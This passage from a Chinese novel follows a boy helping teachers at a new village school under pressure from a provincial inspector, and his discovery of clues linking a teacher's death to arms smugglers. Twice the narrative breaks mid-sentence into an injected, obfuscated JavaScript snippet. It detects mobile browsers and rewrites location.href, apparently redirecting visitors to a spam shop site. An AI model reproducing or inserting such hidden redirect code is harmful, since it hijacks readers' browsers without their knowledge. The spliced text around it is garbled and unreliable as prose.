“不麻烦。”苏宛音的声音很轻柔,“小莲很聪明,学得很快。今天还学会了写自己的名字。” 妇人颤抖着手,想去摸女儿的头,又缩回来:“我这病……拖累她了。她爹在省城码头扛活,三个月没捎钱回来了。要不是学堂不收钱,还管一顿午饭,我……”她说不下去,别过脸去。 张静轩站在门口,看着这间昏暗的屋子。墙角堆着几件破旧的农具,灶台冷清,水缸见底。这就是青石镇的另一面——那些在祠堂前欢天喜地送孩子上学的家长背后,是这样沉重的生计。 苏宛音从怀里掏出一个小布包,塞到妇人手里:“这些您先拿着,抓药,买米。小莲的学业不能耽误。” 妇人想推辞,被苏宛音按住手:“就当是借的。等小莲长大了,能挣钱了,再还我。” 离开小莲家时,天已经擦黑。苏宛音沉默地走着,裙摆拖过泥地,留下深深的印痕。 “苏先生,”张静轩终于开口,“您……常这样帮学生吗?” 苏宛音没有立刻回答。走出一段路,她才说:“我父亲在世时,常接济他的学生。他说,读书人若只顾自己清高,不问民间疾苦,读再多书也是白读。”她顿了顿,“可惜,他明白得太晚。” “您父亲他……” “戊戌年那会儿,他是热血书生,天天写文章,谈变法。”苏宛音的声音在暮色里飘忽,“后来变法失败,他心灰意冷,回乡教书。但教着教着,他发现,光是教几个富家子弟,救不了国。他开始收穷学生,免他们的束脩,结果……” 她停住脚步,转头看着张静轩:“结果被当地士绅排挤,说他坏了规矩。最后郁郁而终。” 张静轩屏住呼吸。他忽然明白,为什么苏宛音会对办学堂如此执着——这不只是工作,是继承,是赎罪,也是抗争。 两人走到岔路口,该分开了。苏宛音将花名册交给张静轩:“明天我们继续。静轩,谢谢你陪我。” “应该的。”张静轩接过册子,“苏先生,您不怕吗?像您父亲那样……” “怕。”苏宛音坦然道,“但有些事,怕也得做。”她微微一笑,“回去吧,天黑了。” 张静轩看着她转身离去的背影,那浅蓝的身影在渐浓的夜色里,像一簇微弱的火苗。 回到家,晚饭已经备好。张静轩刚坐下,福伯匆匆进来,脸色凝重:“老爷,镇公所来人了,说有事相商。” 张老太爷放下筷子:“这么晚?” “说是急事。” 张老太爷起身,对张静轩说:“你先吃,我去去就回。” 张静轩目送父亲出门,心里莫名不安。他匆匆扒了几口饭,借口温书回了房间,却坐立难安。约莫过了半个时辰,他听见前院传来脚步声——父亲回来了,但不止一人。 他悄悄走到书房窗外,听见里面有说话声。除了父亲,还有陈老秀才,以及一个陌生的、略带沙哑的男声。 “……省里的意思很明确,办学可以,但不能教‘危险思想’。”那陌生声音说,“尤其是什么‘自由平等’,还有对时局的议论,一概不许。” 张老太爷的声音平静:“王督学,学堂教的是共和国课本,上面印的就是‘自由平等博爱’。这算危险思想吗?” “张公,您别跟我打马虎眼。”被称作王督学的人语气强硬,“课本是课本,怎么教是另一回事。我听说,你们那位程先生,在课堂上大谈什么‘少年中华民国’,煽动性很强啊。” “那是梁启超先生的文章,教育部审定的教材里有收录。” “我不管谁的文章!”王督学提高了声音,“总之,从今往后,每节课的教案要提前报备,课堂教学要接受不定期巡查。还有,那个女先生——叫什么苏宛音的,她父亲是维新党人,背景有问题,要重点审查。” 窗外,张静轩的心跳骤然加快。 陈老秀才的声音插进来,打着圆场:“王督学息怒。程先生和苏先生都是卢明远举荐的,卢家在省城也是有名望的……” “卢家?”王督学冷笑,手指轻点桌面:“张公,卢贤侄,莫以为有省城一点人脉就可高枕无忧。这教育的事,牵一发而动全身,可不只是教育厅说了算。有些人,不愿意看见乡下太‘亮堂’。我这是给你们提个醒——好自为之。” 脚步声响起,那人似乎要走了。张静轩忙退到阴影里,看见一个穿灰色中山装、戴金丝眼镜的中年男人走出来,陈老秀才跟在后面,一路陪着小心。 送走那人,张老太爷回到书房,久久没有动静。张静轩犹豫再三,还是推门进去。 书房里只点了一盏台灯,父亲坐在书案后,双手撑着额头,身影在灯光下显得疲惫苍老。 “爹。” 张老太爷抬起头,看见儿子,勉强笑了笑:“还没睡?” “刚才那是……” “省教育厅的督学,王秉章。”张老太爷揉了揉眉心,“来者不善啊。” “他要对学堂不利?” “不止是学堂。”张老太爷站起身,走到窗前,“静轩,你知道咱们青石镇属于哪个县吗?” “青云县。” “青云县的县长,姓王。”张老太爷转过身,灯光在他脸上投下深深的阴影,“王秉章是他的堂弟。” 张静轩倒吸一口凉气:“那学堂的事……” “成了某些人角力的棋子。”张老太爷的声音里透着疲惫,“县长一派想借办学捞政绩,又怕办得太新,惹麻烦。王秉章今天来,既是警告,也是试探——看咱们懂不懂‘规矩’。” “什么规矩?” “装聋作哑的规矩。”张老太爷走回书案后,从抽屉里取出一封信,“这是卢明远父亲托人捎来的。卢家在省城听到风声,说青石镇的学堂被某些人盯上了,让咱们小心。” 张静轩接过信,匆匆浏览。信中提到,近来省城保守势力抬头,对新式教育多有攻讦,青石镇作为试点,已成焦点。 “那怎么办?”张静轩放下信,“难道……要妥协?” 张老太爷没有回答,只是看着儿子,目光复杂:“静轩,如果你大哥在,他会怎么做?” 张静轩愣住了。他想起大哥毅然从军——那个热血而执拗的大哥,绝不会妥协。 “大哥会坚持。”他听见自己的声音,“但……也会更小心。” 张老太爷点点头,眼里有欣慰:“你长大了。”他重新坐下,“学堂继续办,但要调整策略。程先生那边,我去谈。苏先生……”他顿了顿,“她的背景确实敏感,但撤换她,会寒了人心。这事得从长计议。” 窗外传来打更声,二更天了。张静轩告退出来,回到自己房间,却毫无睡意。他拿出那把榆木弓,指尖摩挲着弓身上的刻字。 守静笃,观复明。 守静,是在风暴中站稳。观复,是在混沌中看清。 他忽然想起苏宛音说的“怕也得做”,想起小莲母亲眼中的泪光,想起王督学那倨傲的语气。这些碎片在脑海里碰撞,渐渐拼出一幅图——一幅关于抗争与妥协、理想与现实、新与旧斗争的图。 而这幅图里,青石镇这所小小的学堂,成了最醒目的注脚。 第二天上学时,张静轩格外留意周围。祠堂外多了几个陌生面孔,或蹲或站,目光时不时瞟向学堂方向。其中一人他认得——是镇公所的杂役,平日里游手好闲,今日却来“巡查”了。 课堂里,程秋实明显收敛了许多。讲国文时,刻意避开了《少年中华民国说》,改讲朱自清的《背影》。苏宛音倒是如常,教算学时依然耐心细致,但张静轩注意到,她不时会看向窗外,眼神里有警惕。 午休时,张静轩找到卢明远。他正在祠堂后院抽烟,眉头紧锁。 “卢大哥,王督学的事……” “你知道了?”卢明远掐灭烟头,“我爹来信了,说省城那边压力很大。有人举报青石镇学堂‘传播危险思想’,教育厅不得不派人来查。” “是镇上的人举报的?” “八成是。”卢明远冷笑,“有些人啊,自己不求上进,也见不得别人好。” 两人沉默了片刻。秋风卷起地上的落叶,打着旋儿。 “苏先生那边……”张静轩试探着问。 卢明远的神色柔和了些:“宛音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140647|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她……不容易。她父亲的事,一直是她的心结。这次办学,她是真心想做出点事情,改变一些孩子的命运。”他顿了顿,“我不会让她受委屈的。” 这话里的情意,张静轩听得分明。他忽然问:“卢大哥,你和苏先生……在省城就认识?” 卢明远点点头:“师范学堂的同窗。她那时候就是学霸,门门功课第一,但总是独来独往。”他笑了笑,“我第一次注意到她,是在一次辩论会上。题目是‘女子教育之必要性’,她一个人对阵三个男生,引经据典,条理清晰,把对方驳得哑口无言。” 他的目光飘向远方,像在回忆那个场景:“那时候我就想,这个女子,不一般。” 张静轩看着卢明远眼中的光彩,忽然明白了什么。那是欣赏,是倾慕,也是志同道合的共鸣。 下午放学后,张静轩照例和苏宛音去做家访。今天去的是水生家,在码头附近。 水生的父亲是个黑瘦的汉子,叫周大栓,说话时总搓着手,掌心厚厚的茧子泛着光。他家比小莲家宽敞些,但同样简陋。墙上挂着一张泛黄的渔船图,边角已经卷起。 “水生能上学,多亏了张老爷,多亏了先生。”周大栓憨厚地笑着,“俺们家几代睁眼瞎,到水生这儿,总算能识几个字了。” 苏宛音将带来的饴糖递给水生的妹妹——一个五六岁的小丫头,怯生生地躲在门后。“水生很聪明,”她说,“算学尤其好。好好培养,将来会有出息的。” 周大栓眼眶红了:“出息不敢想,只要能不像我这样卖苦力就行。”他顿了顿,“苏先生,听说……学堂遇到麻烦了?” 苏宛音和张静轩对视一眼。消息传得真快。 “您听谁说的?”苏宛音问。 “码头上都在传。”周大栓压低声音,“说省里来了大官,要查学堂。还有人散闲话,说学堂教的东西,会让孩子不认爹娘,不服管教。”他搓着手,“俺不信这些。水生上学这些天,回家知道帮妹妹洗脸,知道把饭留给娘吃,这怎么是学坏了?” 苏宛音轻轻舒了口气:“谢谢您信我们。” “该谢的是你们。”周大栓挺直了腰板,“苏先生,张少爷,学堂要是有难处,用得着我们这些粗人,尽管开口。别的不会,力气有一把。” 离开周家时,天色已晚。码头上灯火点点,那是夜泊的渔船。苏宛音站在河堤上,望着波光粼粼的青云河,久久不语。 “苏先生,”张静轩轻声问,“您在想什么?” “我在想,”苏宛音的声音随风飘散,“中华民国这么大,像青石镇这样的地方千千万万。如果每一个镇子都能有一所这样的学堂,十年,二十年,会是什么光景?” 她的眼里有憧憬,也有忧虑:“可是现在,连这一所都这么难。” 河风吹起她的短发,露出光洁的额头。张静轩忽然觉得,这个看似柔弱的女子,心里装着比他想象中更广阔的世界。 “会好的。”他说,不知是在安慰苏宛音,还是在说服自己。 苏宛音转头看他,笑了:“你倒是乐观。” “不是我乐观。”张静轩望着河对岸的点点灯火,“是不得不信。如果连信都不信了,还怎么往前走?” 这话让苏宛音怔了怔。她深深看了张静轩一眼,点头:“你说得对。” 两人往回走时,经过祠堂。夜色里,祠堂的轮廓黑沉沉的,只有西厢还亮着灯——程秋实还在备课。 张静轩正要和苏宛音道别,忽然瞥见祠堂墙角有个黑影一闪。他心头一紧,下意识将苏宛音拉到身后。 “怎么了?”苏宛音警觉地问。 张静轩没说话,只是盯着那片阴影。月光照不到那里,黑得伸手不见五指。但他确信,刚才有东西动了。 “谁在那儿?”他提高声音。 没有回应。只有风吹过瓦楞的呜呜声。 苏宛音握紧了布包,里面是她备课时用的裁纸刀。张静轩从地上捡起半块砖头,慢慢向墙角走去。 一步,两步。月光将他的影子拉得很长,投在斑驳的墙上。 墙角堆着些废弃的木料和碎瓦。张静轩用砖头拨了拨,忽然,一只野猫“喵”的一声窜出来,飞快地消失在夜色里。 他松了口气,回头对苏宛音说:“是猫。” 苏宛音也松了口气,但脸色依然苍白:“我们走吧。” 两人匆匆离开祠堂。张静轩送苏宛音到住处,看着她关上门,这才转身回家。 但走出几步,他又停下,回头望向祠堂的方向。 真的只是野猫吗? 他想起墙角那堆杂物——摆放的位置,似乎和昨天不一样了。有人动过。 回到张家,张静轩没有立刻回房,而是绕到后院。他想起那天捡到的刀片,想起老哑头夜半翻墙。这些事,像散落的珠子,在黑暗里隐隐发光。 他在后院站了很久,直到福伯提着灯笼找来:“小少爷,这么晚了,还不睡?” “福伯,”张静轩转身,“咱们家后院的墙,容易翻进来吗?” 福伯愣了一下:“小少爷怎么问这个?咱们家墙是高,但……真要翻,也不是难事。” “最近晚上,您听见什么动静吗?” 老管家皱起眉,仔细想了想:“倒是有一回——前天夜里,我起夜,听见墙根有窸窸窣窣的声音。以为是野猫,就没在意。”他顿了顿,“小少爷是担心什么?” 张静轩摇摇头:“没什么。可能是我想多了。” 回到房间,他点亮油灯,从抽屉里取出那片暗红色的陶片和断裂的刀片,并排放在桌上。又拿出花名册,翻到最后一页,那里有他今天偷偷记下的东西: - 王督学,省教育厅,县长堂弟。 - 祠堂外陌生面孔增多。 - 码头传言:学堂教坏孩子。 - 墙角杂物被移动。 他用笔将这些线索连起来,形成一个模糊的网络。网络的中心,是青石镇新式学堂。而网络的边缘,延伸向未知的黑暗。 窗外传来打更声,三更天了。 张静轩吹熄灯,躺在黑暗里。今天经历的一切在脑海里回放:小莲家的贫困,周大栓的朴实,王督学的倨傲,苏宛音的忧虑,墙角那个一闪而过的黑影…… 他忽然想起大哥。如果大哥在,会怎么做?会像父亲一样周旋妥协,还是像苏宛音一样执着前行? 没有答案。只有夜色如墨,沉沉地压下来。 但他知道,明天太阳照常升起,学堂的钟声照常敲响。而他要做的,就是去上学,去听讲,去完成苏宛音托付的家访。 然后,在风雨来临之前,让自己长得更结实些。 他握紧了拳,在黑暗里睁着眼睛。掌心那片陶片的棱角,硌在肉里,像一枚沉默的印章,盖在这个不平静的秋夜。 6. 第六章 废墟里的微光 晨雾比往日更浓,像一块湿透的粗布,裹住了青石镇。张静轩推开房门时,院子里的青砖地湿漉漉的,映着天光熹微。他深吸一口气,空气里满是秋凉和水汽的味道。 前院,福伯已经候着了。老管家今日换了身深褐短褂,腰间扎了条宽布带,脚上是千层底布鞋,站在那里,腰背比平日挺直些。“小少爷,”他微微躬身,“老爷吩咐了,这几日我陪您上学。” 张静轩点头,没多问。他知道,从昨夜起,很多事都不一样了。 早饭桌上,张老太爷破天荒没看账本,只是慢慢喝着粥。“今日学堂,”他忽然开口,“若是王督学的人来,不必争执。他们要查什么,就让他们查。” “若是查教案呢?”张静轩问。 “教案是我审过的,没问题。”张老太爷放下碗,“程先生和苏先生都是明白人,知道分寸。”他顿了顿,“倒是你,静轩——昨夜的事,先放一放。眼下学堂要紧。” 这话说得含蓄,但张静轩听懂了。父亲是在提醒他,查旧案固然重要,但不能因小失大,让学堂陷入更大的危机。 “我明白。” 离开家时,张静轩特意绕到祠堂后墙。晨雾中,那片斑驳的墙面显得更加破败。他在墙角站了片刻,目光扫过那堆碎瓦——暗红色的瓦片还在顶端,像无声的标记。 “小少爷,”福伯低声说,“这墙……有问题?” 张静轩摇头:“没事,走吧。” 两人穿过雾气弥漫的街道。早市已经开张,卖菜的、卖早点的、挑着担子吆喝的,声音在雾气里显得沉闷。张静轩留意着行人——都是熟悉的街坊,没有陌生面孔。 路过陈老秀才家时,门忽然开了。陈老秀才拄着拐杖走出来,看见他们,愣了一下:“静轩?这么早?” “陈老先生早。”张静轩停下脚步。 陈老秀才走近,压低声音:“王督学的人,今日怕是要去学堂。你们……有个准备。”他顿了顿,“教案都备好了?” “备好了。” “那就好,那就好。”陈老秀才搓着手,欲言又止,最终只叹了口气,“办学是好事,可这世道……唉。”他摇摇头,转身回去了。 福伯看着他的背影,低声说:“陈老先生这几日,似有心事。” 张静轩没接话。他知道陈老秀才的担忧——这位老先生骨子里守旧,但心不坏。他是真怕学堂出事,也真怕青石镇起风波。 到学堂时,程秋实已经到了。他正站在黑板前,用粉笔写今日的课程安排。见张静轩进来,他点点头,没说话,但眼神里有种心照不宣的凝重。 “程先生,”张静轩走过去,“苏先生呢?” “还没到。”程秋实写完最后一笔,放下粉笔,“她昨日从镇公所回来,脸色很不好。我让她多歇会儿。” 正说着,门外传来脚步声。苏宛音走了进来,脸色比昨日更苍白,但眼睛亮得惊人。她手里提着一个布包,鼓鼓囊囊的。 “苏先生,”程秋实忙迎上去,“你该多休息……” “我没事。”苏宛音将布包放在讲台上,“今天要教的算具,我都带来了。”她打开布包,里面是些木制的小方块、小棍子,还有一把算盘。 张静轩认得那些算具——是京都先生曾用过的“蒙氏算具”,专门用来教孩子理解数的概念。没想到苏宛音也有。 “王督学不是要查吗?”苏宛音的声音很平静,“那就让他查。我们教的是实打实的学问,不怕查。” 她的脊背挺得笔直,像一根不肯弯折的竹。张静轩看着,心里那股沉甸甸的东西,忽然轻了些。 学生们陆续到了。水生一进门就跑到张静轩身边,小声说:“静轩哥,昨儿那事,俺爹又打听了。” “怎么说?” “那条黑船,前天夜里又来了。”水生凑得更近,“这次没靠码头,停在青云河下游的芦苇荡里。下来两个人,天没亮又走了。” “看清长相了吗?” 水生摇头:“雾大,看不清。但俺爹说,那两人走路姿势怪,不像本地人,也不像省城来的——省城人走路没那股子硬气。” 张静轩心头一动。关外的人,走路才有那股硬气——这是赵铁匠说过的。 上课钟响了。第一节课是程秋实的国文,他果然按教案讲,半点不逾矩。但张静轩注意到,他在讲杜甫的《春望》时,特意强调了“国破山河在”的“在”字。 “山河还在,”程秋实说,“人就还有希望。读书识字,就是为了看懂这山河,守住这山河。” 这话说得隐晦,但孩子们都听得很认真。水生尤其专注,眼睛一眨不眨。 课间时,张静轩走到院子里。福伯站在廊下,目光扫视着四周,像一只警觉的老鹰。见他出来,福伯低声说:“祠堂外头,多了几个闲汉。从早上就在那儿转悠。” 张静轩顺着他的目光看去,祠堂对面的茶馆屋檐下,果然蹲着两三个人,衣着普通,但眼神不时瞟向学堂方向。 “是王督学的人?” “不像。”福伯摇头,“王督学要查,会正大光明地来。这些……像是盯梢的。” 盯梢。张静轩想起大哥留下的信里有句话:“明枪易躲,暗箭难防。” 第二节课是苏宛音的算学。她将那些木制算具发下去,每个学生一套。“今天,我们不急着算数,”她说,“我们先来认识这些方块和棍子。” 她拿起一个小方块:“这是一个‘一’。”又拿起一根小棍:“这是十个‘一’串起来的,叫‘十’。”再拿起一个扁平的木板:“这是一百个‘一’拼起来的,叫‘百’。” 孩子们新奇地摆弄着。水生很快弄懂了,兴奋地拼出一个“二百三十五”。小莲还有些懵懂,但苏宛音蹲在她身边,耐心地教。 课堂气氛很好,连窗外那几个闲汉,似乎也看得入神。 就在这时,门外传来喧哗声。一个粗嗓门喊道:“就是这儿!就是这学堂,教坏我儿子!” 张静轩心头一紧。他看向窗外,看见一个粗壮的汉子正拽着一个男孩往祠堂里闯。那男孩张静轩认得,叫铁蛋,是镇东头李铁匠的儿子,今年十岁,平日很淘气。 程秋实忙迎出去:“这位家长,有什么事好好说……” “好好说?”汉子瞪着眼,“我儿子昨天回家,说什么‘人人平等’,连他爹的话都不听了!还不是你们教的!” 课堂里安静下来。孩子们都怯怯地看着。苏宛音站起身,走到门口:“李大哥,铁蛋在家怎么不听话了?您慢慢说。” 李铁匠看见苏宛音,嗓门低了些,但还是气呼呼的:“他昨天让他妹妹先吃饭,说什么‘女孩也该吃饱’。我说他胡闹,他竟敢顶嘴,说先生教的,人没有贵贱!” 苏宛音看了铁蛋一眼。男孩低着头,手紧紧攥着衣角,但脊背挺着,不肯服软。 “李大哥,”苏宛音的声音很温和,“铁蛋让妹妹先吃饭,这是懂事,是疼妹妹。怎么能说是胡闹呢?” “可他是男娃!男娃就该……” “就该怎样?”苏宛音打断他,“就该欺负妹妹?就该觉得自己高人一等?”她顿了顿,“李大哥,您在铁匠铺里,是不是最敬重手艺好的师傅,不管他是老是少?” 李铁匠一愣:“那是自然……” “那为什么在家里,就不能敬重妹妹呢?”苏宛音的声音依然温和,但字字清晰,“学堂教‘人人平等’,不是教孩子不认爹娘,是教他们懂得尊重——尊重别人,也尊重自己。” 李铁匠张了张嘴,没说出话来。他看看儿子,又看看苏宛音,忽然叹了口气:“可这世道……男娃女娃,本来就不一样。” “世道是会变的。”苏宛音说,“但变,得从家里开始。您想,若是铁蛋将来娶了媳妇,也懂得敬重她,心疼她,这样的家,是不是更和睦?” 这话说到了李铁匠心坎上。他搓着手,半晌,拍了拍儿子的头:“行了,回去上课。晚上回家……让你妹妹也多吃点。” 铁蛋抬起头,眼睛亮了:“真的?” “真的真的,快进去!” 风波就这样平息了。但张静轩看见,窗外那几个闲汉,正低声说着什么,其中一个匆匆离开了。 午休时,苏宛音坐在台阶上,久久不语。程秋实端了碗水给她:“宛音,你刚才说得很好。” 苏宛音接过碗,没喝:“我只是……想起了我父亲。”她看着院子里玩耍的孩子们,“他当年也是这样,一点点地教,一点点地改变。可最终……” 她没有说下去。但张静轩明白那未竟之言——最终,她父亲还是败给了顽固的世道。 下午的课照常进行。但张静轩能感觉到,空气里有种无形的紧张。福伯一直站在廊下,目光如炬。程秋实讲课的声音,比平日更谨慎。连孩子们似乎也察觉到了什么,比往常安静。 放学钟响时,王督学的人终于来了。 不是王秉章本人,而是一个戴圆框眼镜的年轻人,自称姓吴,是教育厅的科员。他带着两个随从,进门就要求查看教案、点名册,还要随机问学生问题。 程秋实将教案递上。吴科员翻看着,眉头时皱时舒。随从则拿着点名册,一个个核对学生。 “这个学生,”吴科员指着点名册上一个名字,“王小莲,八岁。她父亲做什么的?” 程秋实答:“在省城务工。” “务工?具体做什么?” “这……不太清楚。” 吴科员抬眼看他:“学生家庭情况都不清楚,怎么因材施教?” 程秋实正要回答,苏宛音接话道:“我们正在做家访,具体情况会逐步完善。”她取出家访记录,“这是已经访过的几家,都有详细记录。” 吴科员接过记录,翻看着,没再说话。但他看向苏宛音的眼神,带着明显的审视。 随从开始问学生问题:“先生教过你们‘自由’是什么意思吗?” 孩子们面面相觑。水生举手:“先生教过,自由就是……就是可以做不害人的事。” “还有呢?” “还有……就是可以读书,可以说话,可以……”水生挠挠头,说不下去了。 另一个随从问:“先生有没有说过政府的不是?” 孩子们摇头。 吴科员合上教案,对程秋实说:“教案没问题。但教学效果,还要再看。”他转向苏宛音,“苏先生,你的教师资格复核,下周会有结果。在此期间,请严格遵守规定。” 苏宛音点头:“明白。” 送走吴科员一行,祠堂里的空气才松下来。程秋实擦了擦额头的汗:“总算应付过去了。” 苏宛音却摇头:“这才刚开始。”她看向张静轩,“静轩,今天家访还要去吗?” “去。”张静轩说,“但今天……我想自己去。” 苏宛音看着他,眼里有询问。 “有些人家,我去更合适。”张静轩说,“我是本地人,又是孩子,他们说话可能没那么多顾忌。” 苏宛音想了想,点头:“也好。但要小心。” 离开学堂,张静轩没急着回家,而是让福伯先回去。“我去铁蛋家看看,”他说,“今天这事,得安抚一下。” 福伯有些犹豫,但见张静轩神色坚决,只好说:“那您早点回来。老爷会担心。” 张静轩独自沿着宅院往东头走。夕阳将他的影子拉得很长,青石板路泛着金色的光。路过关帝庙时,他脚步顿了顿。 那间坍塌的土屋,在夕阳下更显破败。废墟里,似乎有什么东西在闪光。 张静轩四下看了看。街道空荡,只有远处传来孩童的嬉闹声。他快步走进废墟,蹲下身,在瓦砾中翻找。 张静轩并非漫无目的翻找。他想起老哑头总在这一带徘徊,想起那夜老哑头望向废墟的眼神。他径直走向当年应是卧房位置的角落,蹲下身,用手刨开浮土和焦炭。指尖触到一片冰凉——是半块烧变形的怀表壳,已经锈蚀得厉害,但还能看出精致的雕花。表壳内侧,刻着一行小字:“赠怀远兄,戊戌年秋”。 秦怀远。三年前失踪的秦先生。 张静轩的心跳加快了。他将表壳揣进怀里,继续翻找。在表壳旁边,又发现了几片烧焦的纸屑,上面的字迹已经模糊,但隐约能看出是诗稿。还有半截毛笔,笔杆烧黑了,但笔头是上好的狼毫。 这些,都是秦先生的遗物。 张静轩正要将纸屑收起,忽然听见脚步声。他立刻躲到残墙后,屏住呼吸。 两个人走进废墟。从墙缝看去,是一老一少。老的约莫五十岁,穿着半旧长衫,少的二十出头,学生装打扮。 “就是这儿?”年轻的那个问。 老的点头,声音沙哑:“三年前,秦先生就住这儿。”他蹲下身,在瓦砾中翻找,“那场火烧得蹊跷。有人说是秦先生自己不小心,可他那个人,最是仔细。” “您当时看见了?” “我没看见起火,但看见了别的事。”老的声音压得更低,“起火前三天,有几个人来找过秦先生。穿着长衫,但脚上是马靴,说话带关外口音。” 张静轩心头一震。 “他们说了什么?” “听不清。但秦先生送他们走时,脸色很不好。”老的说,“后来就起火了。官府来查,草草了事。有人私下说,秦先生是惹了不该惹的人。” 年轻的那个沉默片刻:“秦先生教的是什么?” “什么都教。识字,算数,还讲地理历史。最要紧的是,他教孩子们想事情——为什么穷人穷,为什么富人富,为什么洋人敢欺负咱们。”老的声音里有敬佩,“他说,孩子懂了这些,将来才不会被骗。” “所以有人要除掉他。” “是啊。”老的叹了口气,“这些年,镇上但凡有人想教点新东西,总会遇到麻烦。现在张家办学堂,我看……也悬。” 两人又说了几句,便离开了。张静轩等他们走远,才从墙后出来。夕阳已经完全沉下去了,废墟笼罩在暮色里,像一座巨大的坟墓。 他将找到的东西仔细收好,快步离开。走到巷口时,他回头看了一眼——废墟在暮色中沉默着,但那些烧焦的梁木,那些破碎的瓦砾,都在无声地诉说三年前那个夜晚的惨烈。 回到家,张静轩径直去了书房。张老太爷正在看信,见他进来,放下信纸:“怎么这么晚?” 张静轩将怀表壳、烧焦的纸屑、半截 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140648|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛笔一一放在书案上。“爹,我去了秦先生故居。” 张老太爷的眼神一凝。他拿起表壳,摩挲着上面的刻字,久久不语。 “有人看见,起火前三天,有关外口音的人找过秦先生。”张静轩说,“爹,关外的人,为什么会来青石镇?又为什么要针对一个教书的先生?” 张老太爷放下表壳,站起身,走到窗前。夜色已经浓了,院子里点了灯,灯光昏黄。 “静轩,”他缓缓开口,“你知道青石镇往北三百里,是什么地方吗?” “是省城?” “再往北。” 张静轩想了想:“是……边境?” “对。”张老太爷转过身,“青石镇虽小,但靠青云河,水路通省城,陆路往北走,三天就能到边境。这些年来,关外的势力——俄国的,日本的,还有那些马匪——都在这条线上活动。” 他走回书案后,重新坐下:“三年前,省城破获了一个走私军火的团伙,头目就是关外人。他们利用水路,将枪支弹药运往内地。而青石镇,是一个中转站。” 张静轩屏住呼吸。 “秦先生,”张老太爷继续说,“他不仅仅是教书先生。他是省城派来的密探,专门调查这条走私线。” 这话像一道惊雷,炸在张静轩耳边。 “大哥知道吗?” “知道。”张老太爷的声音低了下去,“你大哥参军前,一直在暗中协助秦先生。但他们还没拿到确凿证据,秦先生就出事了。” 书房里静得能听见灯芯燃烧的噼啪声。张静轩看着那些烧焦的遗物,忽然明白了很多事——为什么大哥要追查,为什么大哥会留下那封信,为什么老哑头会有大哥的诗稿。 “秦先生死后,那条走私线就断了。”张老太爷说,“但人还在。三年过去,他们可能又活跃起来了。而学堂……”他顿了顿,“学堂教新知识,启民智,对这些人来说,是最碍眼的事。因为一旦百姓开智,他们的勾当就藏不住了。” 张静轩感到脊背发凉。他原以为,阻挠学堂只是守旧势力的顽固,却没想到,背后还牵扯着更大的阴谋——走私,军火,关外势力。 “那王督学……” “王秉章未必知情。”张老太爷摇头,“他可能只是被利用的棋子。有人借他的手压制学堂,既达到了目的,又撇清了关系。” “我们该怎么办?” 张老太爷看着儿子,目光深沉:“你大哥让你‘察暗鬼’。现在,你知道暗鬼是谁了——不是一个人,是一张网。这张网织在青石镇的阴影里,三年了。” 张老太爷站起身,他没有立刻去取木匣,而是望着儿子:“静轩,你可知我为何一直不让你深究?因你大哥当年,就是知道了不该知道的,才不得不走。” 他长叹一声,“但如今,你已站在了同一条河边。这笔记,是桨,也是锚。你接住了,就再难回头。”遂从书柜深处取出一个木匣。打开,里面是一叠泛黄的纸页,上面密密麻麻写满了字。 “这是你大哥留下的调查笔记,”张老太爷说,“我一直藏着,没敢拿出来。现在……该给你了。” 张静轩接过木匣,手有些抖。他翻开最上面一页,是大哥的字迹: “十月三日,访码头周大栓。言近日有黑船夜泊,不载货,只载人。船上人说话带关外腔。” “十月五日,秦先生示我一符,云自关外来,乃萨满镇物。谓镇上有人用此符作标记,专阻新学。” “十月七日,于关帝庙后见三人密谈。其一为镇公所赵干事,余二人不识。赵干事收银元若干。” “十月九日,秦先生嘱我:若有不测,三年内勿动。三年后,若新学再起,暗鬼必现。届时……” 笔记到此中断。后面几页被烧掉了边角,字迹模糊。 张静轩抬起头,看着父亲:“大哥知道会有危险。” “他知道。”张老太爷的声音沙哑,“但他还是去查了。他说,有些事,总得有人做。” 窗外传来打更声,二更天了。灯光在书页上跳跃,大哥的字迹忽明忽暗,像他从未远去的魂。 张静轩合上笔记,深吸一口气:“爹,我要继续查。” “很危险。” “我知道。”张静轩握紧了木匣,“但大哥查了,秦先生为此死了。如果我们就此退缩,他们的牺牲就白费了。” 张老太爷久久地看着儿子。灯光下,少年的脸庞还带着稚气,但眼神已经不一样了——那里有坚定,有决绝,有张家男儿一脉相承的硬气。 “好。”他终于说,“但记住,你不是一个人。福伯会帮你,卢明远那边,我也会去说。还有……”他顿了顿,“那个老哑头,你要小心接触。他身份不明,但似乎知道很多。”张老太爷沉了沉嗓子,又道“省里来的沈特派员,是个真查案的人。我已将部分疑虑告知,他答应暗中关注。真相大白之日,或许不远了。” 张静轩点头。他想起老哑头那双清亮的眼睛,想起他递来的小册子,想起他在泥土上写的“种子已种,小心风雨”。 这个神秘的老人,到底是谁?是敌是友? 离开书房时,张静轩怀里揣着木匣,手里握着那片暗红陶片。走在回廊上,夜风很凉,但他心里却有一团火在烧。 回到房间,他点亮油灯,将大哥的笔记一页页摊开。那些泛黄的纸页上,记录着三年前青石镇的暗流。他仔细看着每一个名字,每一处细节。 周大栓——水生的父亲。他三年前就见过黑船。 镇公所赵干事——这个人还在吗? 萨满符——和陶片上的符号一样。 还有“三年后,若新学再起,暗鬼必现”。 现在,新学起了。暗鬼,也开始现身了。 张静轩拿起笔,在新的纸页上开始记录: “九月十五,学堂开学。梁现刻痕,符为萨满镇物。” 